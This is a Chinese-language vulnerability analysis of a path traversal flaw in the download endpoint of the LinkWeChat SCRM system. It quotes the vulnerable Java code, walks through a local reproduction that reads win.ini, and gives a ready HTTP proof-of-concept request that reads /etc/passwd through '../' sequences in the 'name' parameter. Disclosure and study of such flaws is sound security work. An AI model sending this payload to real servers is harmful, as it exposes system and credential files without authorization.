漏洞描述
LinkWeChat 是基于企业微信的开源 SCRM 系统,是企业私域流量管理与营销的综合解决方案。
LinkWeChat 基于企业微信开放能力,不仅集成了企微强大的后台管理及基础的客户管理功能,而且提供了多种渠道、多个方式连接微信客户。并通过客情维系、聊天增强等灵活高效的客户运营模块,让客户与企业之间建立强链接,从而进一步通过多元化的营销工具,帮助企业提高客户运营效率,强化营销能力,拓展盈利空间。
主要运用于电商、零售、教育、金融、政务等服务行业领域。
开发语言:Java官网地址:https://www.linkwechat.net/项目地址:https://github.com/qwdigital/LinkWechat-Scrm
漏洞后端代码
文件位于
linkwe-auth\src\main\java\com\linkwechat\web\controller\common\CommonController.java
这个控制器下存在一个resourceDownload方法
java
/**
* 本地资源通用下载
*/
@GetMapping("/common/download/resource")
public void resourceDownload(String name, HttpServletRequest request, HttpServletResponse response) throws Exception {
// 本地资源路径
String localPath = LinkWeChatConfig.getProfile();
// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
// 下载名称
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
response.setCharacterEncoding("utf-8");
response.setContentType("multipart/form-data");
response.setHeader("Content-Disposition",
"attachment;fileName=" + FileUtils.setFileDownloadHeader(request, downloadName));
FileUtils.writeBytes(downloadPath, response.getOutputStream());
}
String localPath = LinkWeChatConfig.getProfile();后得到一个本地目录,例如D:/linkWeChat/uploadPath
看看StringUtils.substringAfter 这个工具方法对我们的name值做了什么处理
注意传入的参数Constants.RESOURCE_PREFIX 是/profile
跟入StringUtils.substringAfter 方法
其要注意的是
else语句块代码用于从字符串 str
中获取分隔符 separator
后面的子字符串,就是说name值里面必须要有/profile
之后与localPath进行拼接 组成downloadPath,这里就可以尝试用../的方式进行拼接,具体怎么样,让我们往后看...
跟入StringUtils.substringAfterLast方法 得到downloadName 值
提取最后一个"/"出现的位置---pos
pos != -1成立与pos != str.length() - separator.length()成立 则会获取字符串str的第pos+1个字符到结尾的所有字符 返回赋值downloadName
之后执行FileUtils.setFileDownloadHeader 返回字符串,设置返回头,至此downloadName就没什么事了
我们重点分析FileUtils.writeBytes方法,
我们在new File的时候,如果filepath有../jdk底层会正确解析吗! 经过测试new File的确可以接受../的文件名可以正常被解析
漏洞本地漏洞复现
本次复现不同以往,此次使用本地代码运行验证改漏洞的存在
java
public static void main(String[] args) throws IOException {
String localPath = LinkWeChatConfig.getProfile();
String filePath = "D:\\文档\\1.txt";
OutputStream os = new FileOutputStream(new File(filePath));
// 数据库资源地址
String name = "/profile/../../../../../../../../../../windows/win.ini";
String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
// 下载名称
String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
FileUtils.writeBytes(downloadPath, os);
/* new SpringApplicationBuilder(LinkWeAuthApplication.class)
.properties("spring.config.name:bootstrap", "config/run/bootstrap.yml")
.properties("spring.application.name=linkwe-auth")
.build().run(args);
System.out.println("(♥◠‿◠)ノ゙ LinkWe-auth启动成功 ლ(´ڡ`ლ)゙ ");*/
}
没有找到准备的test文件夹测试,索性直接注释掉启动代码,将resourceDownload方法内的代码搬过来。设置name值模拟用户输入
运行,如果不出意外,1.txt已经被写入win.ini的内容,与实际访问不同的是,服务器是以流的形式返回给用户
win.ini的确存在,漏洞验证成功。
附赠poc
GET /linkwechat-api/common/download/resource?name=/profile/../../../../../etc/passwd HTTP/1.1
Host:
Cookie: Admin-Token=[需要]
authorization: [需要]
后续修复
-----本次测试是LinkWechat-Scrm-5.1.0版本,漏洞作者验证这个版本漏洞存在。目前最新版没有对这个方法类做任何修改....但不确定name值在参数绑定前,过滤会怎么判断它......能否被利用需实际测试.......